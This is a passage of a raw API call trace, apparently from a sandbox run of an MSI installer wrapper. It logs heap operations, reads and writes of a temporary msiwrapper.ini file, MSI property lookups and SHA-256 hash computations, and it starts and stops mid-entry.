(HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d20 [0146.697] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d20 | out: hHeap=0x5c0000) returned 1 [0146.697] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f5c18, Size=0xe0) returned 0x5f6490 [0146.697] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0146.699] WriteFile (in: hFile=0x180, lpBuffer=0x5f64a2*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f64a2*, lpNumberOfBytesWritten=0x21df464*=0xc4, lpOverlapped=0x0) returned 1 [0146.700] CloseHandle (hObject=0x180) returned 1 [0146.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x5f7748 [0146.702] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9730 | out: hHeap=0x5c0000) returned 1 [0146.702] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.702] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.702] MsiCreateRecord (cParams=0x2) returned 0x11 [0146.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.705] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x90) returned 0x5f6578 [0146.705] MsiRecordSetStringW (hRecord=0x11, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.WRAPPED_REGISTRATION") returned 0x0 [0146.706] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x11) returned 0 [0146.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6578 | out: hHeap=0x5c0000) returned 1 [0146.711] MsiCloseHandle (hAny=0x11) returned 0x0 [0146.712] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.713] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.WRAPPED_REGISTRATION", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0146.715] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0xe) returned 0x340ef8 [0146.715] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.WRAPPED_REGISTRATION", szValueBuf=0x340ef8, pcchValueBuf=0x21df470 | out: szValueBuf="Hidden", pcchValueBuf=0x21df470) returned 0x0 [0146.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d20 [0146.717] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.717] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.717] MsiCreateRecord (cParams=0x2) returned 0x12 [0146.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.718] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f6578 [0146.718] MsiRecordSetStringW (hRecord=0x12, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=Hidden") returned 0x0 [0146.719] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x12) returned 0 [0146.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6578 | out: hHeap=0x5c0000) returned 1 [0146.723] MsiCloseHandle (hAny=0x12) returned 0x0 [0146.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.724] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0146.725] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc4 [0146.725] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0xc6) returned 0x340b60 [0146.725] ReadFile (in: hFile=0x180, lpBuffer=0x340b60, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x340b60*, lpNumberOfBytesRead=0x21df458*=0xc4, lpOverlapped=0x0) returned 1 [0146.725] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.727] CloseHandle (hObject=0x180) returned 1 [0146.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d48 [0146.727] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f6578 [0146.728] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d48 | out: hHeap=0x5c0000) returned 1 [0146.728] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d48 [0146.728] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d48 | out: hHeap=0x5c0000) returned 1 [0146.728] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f9730) returned 1 [0146.729] CryptCreateHash (in: hProv=0x5f9730, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0146.729] CryptHashData (hHash=0x5f66b8, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0146.729] CryptHashData (hHash=0x5f66b8, pbData=0x5f64a0, dwDataLen=0x3c, dwFlags=0x0) returned 1 [0146.729] CryptGetHashParam (in: hHash=0x5f66b8, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0146.729] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0146.730] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0146.730] CryptGetHashParam (in: hHash=0x5f66b8, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0146.730] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0146.730] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0146.730] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0146.730] GetLastError () returned 0x0 [0146.730] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0146.730] GetLastError () returned 0x0 [0146.730] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0146.731] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.731] GetLastError () returned 0x0 [0146.731] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0146.731] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0146.731] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0146.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0146.731] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9940 [0146.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9950, cchWideChar=64 | out: lpWideCharStr="18f53e36c3f1618e11bf0ac408810f00ec59b28550c7f6ec036ea044f0ce9aa7") returned 0 [0146.732] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0146.732] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0146.732] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0146.732] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0146.732] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0146.732] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.732] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.732] CryptDestroyHash (hHash=0x5f66b8) returned 1 [0146.733] CryptReleaseContext (hProv=0x5f9730, dwFlags=0x0) returned 1 [0146.733] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9940 | out: hHeap=0x5c0000) returned 1 [0146.733] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f6578 | out: hHeap=0x5c0000) returned 1 [0146.733] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d48 [0146.733] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3d48, Size=0x40) returned 0x5dbad8 [0146.733] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0146.733] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d48 [0146.734] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d48 | out: hHeap=0x5c0000) returned 1 [0146.734] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f6578) returned 1 [0146.735] CryptCreateHash (in: hProv=0x5f6578, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0146.735] CryptHashData (hHash=0x5f66f8, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0146.735] CryptHashData (hHash=0x5f66f8, pbData=0x5f64a0, dwDataLen=0x72, dwFlags=0x0) returned 1 [0146.735] CryptGetHashParam (in: hHash=0x5f66f8, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0146.735] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0146.735] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0146.735] CryptGetHashParam (in: hHash=0x5f66f8, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0146.735] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0146.735] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0146.735] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0146.736] GetLastError () returned 0x0 [0146.736] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0146.736] GetLastError () returned 0x0 [0146.736] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0146.736] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.736] GetLastError () returned 0x0 [0146.736] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0146.736] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0146.737] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0146.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0146.737] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f98b8 [0146.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f98c8, cchWideChar=64 | out: lpWideCharStr="6aa682786d51e96905ae1d190ea3c22d0b9b030f4e8be4e456310f2cdce11709G") returned 0 [0146.737] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0146.737] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0146.738] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0146.738] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0146.738] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0146.738] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.738] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.738] CryptDestroyHash (hHash=0x5f66f8) returned 1 [0146.738] CryptReleaseContext (hProv=0x5f6578, dwFlags=0x0) returned 1 [0146.738] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d48 [0146.738] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d48 | out: hHeap=0x5c0000) returned 1 [0146.738] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6490, Size=0x1b0) returned 0x5f6490 [0146.738] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0146.740] WriteFile (in: hFile=0x180, lpBuffer=0x5f64a2*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x21df464, lpOverlapped=0x0 | out: lpBuffer=0x5f64a2*, lpNumberOfBytesWritten=0x21df464*=0xfa, lpOverlapped=0x0) returned 1 [0146.741] CloseHandle (hObject=0x180) returned 1 [0146.743] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f98b8 | out: hHeap=0x5c0000) returned 1 [0146.743] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.743] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x70) returned 0x5f5c18 [0146.743] MsiCreateRecord (cParams=0x2) returned 0x13 [0146.744] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.744] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbad8, Size=0x90) returned 0x5f9730 [0146.744] MsiRecordSetStringW (hRecord=0x13, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Name=BZ.INSTALL_SUCCESS_CODES") returned 0x0 [0146.746] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x13) returned 0 [0146.752] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9730 | out: hHeap=0x5c0000) returned 1 [0146.752] MsiCloseHandle (hAny=0x13) returned 0x0 [0146.753] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.753] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.INSTALL_SUCCESS_CODES", szValueBuf=0x74a0a6b8, pcchValueBuf=0x21df470 | out: szValueBuf="", pcchValueBuf=0x21df470) returned 0xea [0146.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0146.756] MsiGetPropertyW (in: hInstall=0x1, szName="BZ.INSTALL_SUCCESS_CODES", szValueBuf=0x340ef8, pcchValueBuf=0x21df470 | out: szValueBuf="0", pcchValueBuf=0x21df470) returned 0x0 [0146.758] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d48 [0146.758] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.758] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbad8 [0146.758] MsiCreateRecord (cParams=0x2) returned 0x14 [0146.760] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x5dbb20 [0146.760] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5dbb20, Size=0x70) returned 0x5f5c18 [0146.760] MsiRecordSetStringW (hRecord=0x14, iField=0x0, szValue="-- CUSTOM ACTION -- GetProperty: Value=0") returned 0x0 [0146.761] MsiProcessMessage (hInstall=0x1, eMessageType=0x4000000, hRecord=0x14) returned 0 [0146.765] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c18 | out: hHeap=0x5c0000) returned 1 [0146.765] MsiCloseHandle (hAny=0x14) returned 0x0 [0146.767] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0146.767] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0146.767] GetFileSize (in: hFile=0x180, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xfa [0146.767] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0xfc) returned 0x340b60 [0146.767] ReadFile (in: hFile=0x180, lpBuffer=0x340b60, nNumberOfBytesToRead=0xfa, lpNumberOfBytesRead=0x21df458, lpOverlapped=0x0 | out: lpBuffer=0x340b60*, lpNumberOfBytesRead=0x21df458*=0xfa, lpOverlapped=0x0) returned 1 [0146.767] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.767] CloseHandle (hObject=0x180) returned 1 [0146.768] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.768] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9730 [0146.768] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.768] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.768] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.768] CryptAcquireContextW (in: phProv=0x21df41c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df41c*=0x5f97d8) returned 1 [0146.770] CryptCreateHash (in: hProv=0x5f97d8, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df420 | out: phHash=0x21df420) returned 1 [0146.770] CryptHashData (hHash=0x5f66b8, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0146.770] CryptHashData (hHash=0x5f66b8, pbData=0x5f64a0, dwDataLen=0x72, dwFlags=0x0) returned 1 [0146.770] CryptGetHashParam (in: hHash=0x5f66b8, dwParam=0x4, pbData=0x21df3c8, pdwDataLen=0x21df3a8, dwFlags=0x0 | out: pbData=0x21df3c8, pdwDataLen=0x21df3a8) returned 1 [0146.770] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0146.770] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0146.770] CryptGetHashParam (in: hHash=0x5f66b8, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3c8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3c8) returned 1 [0146.770] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0146.770] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0146.770] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0146.771] GetLastError () returned 0x0 [0146.771] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0146.771] GetLastError () returned 0x0 [0146.771] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0146.771] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.771] GetLastError () returned 0x0 [0146.771] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0146.771] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0146.772] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0146.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0146.773] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f99e8 [0146.773] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f99f8, cchWideChar=64 | out: lpWideCharStr="6aa682786d51e96905ae1d190ea3c22d0b9b030f4e8be4e456310f2cdce11709") returned 0 [0146.774] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0146.774] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0146.774] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ab0 | out: hHeap=0x340000) returned 1 [0146.774] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340f08 | out: hHeap=0x340000) returned 1 [0146.774] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340aa0 | out: hHeap=0x340000) returned 1 [0146.775] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340a78 | out: hHeap=0x340000) returned 1 [0146.775] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340ef8 | out: hHeap=0x340000) returned 1 [0146.775] CryptDestroyHash (hHash=0x5f66b8) returned 1 [0146.775] CryptReleaseContext (hProv=0x5f97d8, dwFlags=0x0) returned 1 [0146.775] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f99e8 | out: hHeap=0x5c0000) returned 1 [0146.775] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9730 | out: hHeap=0x5c0000) returned 1 [0146.775] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.775] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f3d70, Size=0x40) returned 0x5dbad8 [0146.776] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5dbad8 | out: hHeap=0x5c0000) returned 1 [0146.776] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x5f3d70 [0146.777] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f3d70 | out: hHeap=0x5c0000) returned 1 [0146.777] CryptAcquireContextW (in: phProv=0x21df42c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x21df42c*=0x5f9730) returned 1 [0146.778] CryptCreateHash (in: hProv=0x5f9730, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x21df430 | out: phHash=0x21df430) returned 1 [0146.778] CryptHashData (hHash=0x5f66f8, pbData=0x5f7758, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0146.778] CryptHashData (hHash=0x5f66f8, pbData=0x5f64a0, dwDataLen=0x9e, dwFlags=0x0) returned 1 [0146.778] CryptGetHashParam (in: hHash=0x5f66f8, dwParam=0x4, pbData=0x21df3d8, pdwDataLen=0x21df3b8, dwFlags=0x0 | out: pbData=0x21df3d8, pdwDataLen=0x21df3b8) returned 1 [0146.778] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ef8 [0146.778] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340a78 [0146.778] CryptGetHashParam (in: hHash=0x5f66f8, dwParam=0x2, pbData=0x340a78, pdwDataLen=0x21df3d8, dwFlags=0x0 | out: pbData=0x340a78, pdwDataLen=0x21df3d8) returned 1 [0146.778] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340aa0 [0146.778] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x18) returned 0x340f08 [0146.778] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x340ab0 [0146.779] GetLastError () returned 0x0 [0146.779] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x20) returned 0x340b60 [0146.779] GetLastError () returned 0x0 [0146.779] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x40) returned 0x340b88 [0146.779] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b60 | out: hHeap=0x340000) returned 1 [0146.779] GetLastError () returned 0x0 [0146.779] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340bd0 [0146.780] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x340c28 [0146.780] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340bd0 | out: hHeap=0x340000) returned 1 [0146.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0146.780] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x5f9940 [0146.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x340c28, cbMultiByte=-1, lpWideCharStr=0x5f9950, cchWideChar=64 | out: lpWideCharStr="7c13e7019cd301f039178412a973d0df60f5415a80027639a9befbecdd44475f") returned 0 [0146.780] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340c28 | out: hHeap=0x340000) returned 1 [0146.781] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x340b88 | out: hHeap=0x340000) returned 1 [0146.781] HeapFree (in: 